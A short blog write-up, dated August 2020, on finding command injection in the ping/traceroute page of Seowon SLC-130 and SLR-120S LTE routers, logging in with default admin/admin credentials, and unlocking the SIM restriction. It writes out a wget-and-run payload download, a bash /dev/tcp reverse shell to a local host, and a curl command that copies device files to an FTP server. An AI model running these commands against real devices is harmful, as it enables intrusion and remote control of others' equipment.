Seowon Slc-130 And SLR-120S Router — RCE , Unlocking Writeup

Milad Soltanian
3 min readAug 6, 2020

Hello there , we hope you doing well .

2 days ago one my friends gave us a Seowon Slc-130 as a gift but unfortunately the Sim card that he had put in that devices has no internet subscription :D

so we were bored and we just thought that let’s take a look at the Web Interface of this device …

the default username/password was admin/admin so we just logged in and start crawling all the sections of the web interface .

during crawling we saw an interesting point that the Web App takes an IP Address from me and just trying to Ping/Traceroute to it , we tried to append a Linux command to it with a Linux command separator ( like && , ; ) and we saw that the output of my commands is reflecting into the screen :)

so here we go with the command execution vulnerability

the next challenge is to get a reverse shell , after digging with commands we find out that the OS of the device is BusyBox and the only way to get a reverse shell from it is working with bash ..

so we setup my listener and put my payload to a file then downloaded on the device and finally ran the command .

“wget http://192.168.1.10/payload.txt ; bash payload.txt “

so now we got the reverse shell …

the content of the payload.txt

“ bash -i >& /dev/tcp/192.168.1.10/8080 0>&1 ”

as you already know this device is a LTE router some of these devices has Sim card restrictions so the next challenge is to Bypass ( Unlock ) the device .

so the first step is to get all of the files on the device on our local machine for more comfortability during working with files so I used a FTP Server and Curl command to upload all files on my local machine :

the command that has been used :

“ find www -type f -exec curl -u maj0r:maj0r — ftp-create-dirs -T {} ftp://192.168.1.10/{} \; ”

as we knew the main vendor that the factory has been put the restrict for it we just grep the vendor name on the files that has been uploaded to my FTP Server and one of the files was the one we were looking for .

after opening the file we just saw the command that should be ran to bypass the restrictions and Unlock the device

so after all we ran the command and the device has been unlocked

that’s the whole process of what we did to unlock the device , we hope you love it . I wanna say thanks to Ali Jalalat for everything.

after all , this method is working on the SLR-120S too.

And Thanks for your time .

you can contact us at twitter :

https://twitter.com/AliJalalat

https://medium.com/@a.jalalat

https://twitter.com/maj0rmil4d

Sign up to discover human stories that deepen your understanding of the world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

Responses (1)

Write a response

hey there. any chance this method could be duplicated on Huawei B-612? it's another TD-LTE modem/router that Mobinnet sells, but while modems from other providers(Irancell) can be unlocked rather easily, the firmware on the Mobinnet version is more secure, and can't be unlocked in the latest versions.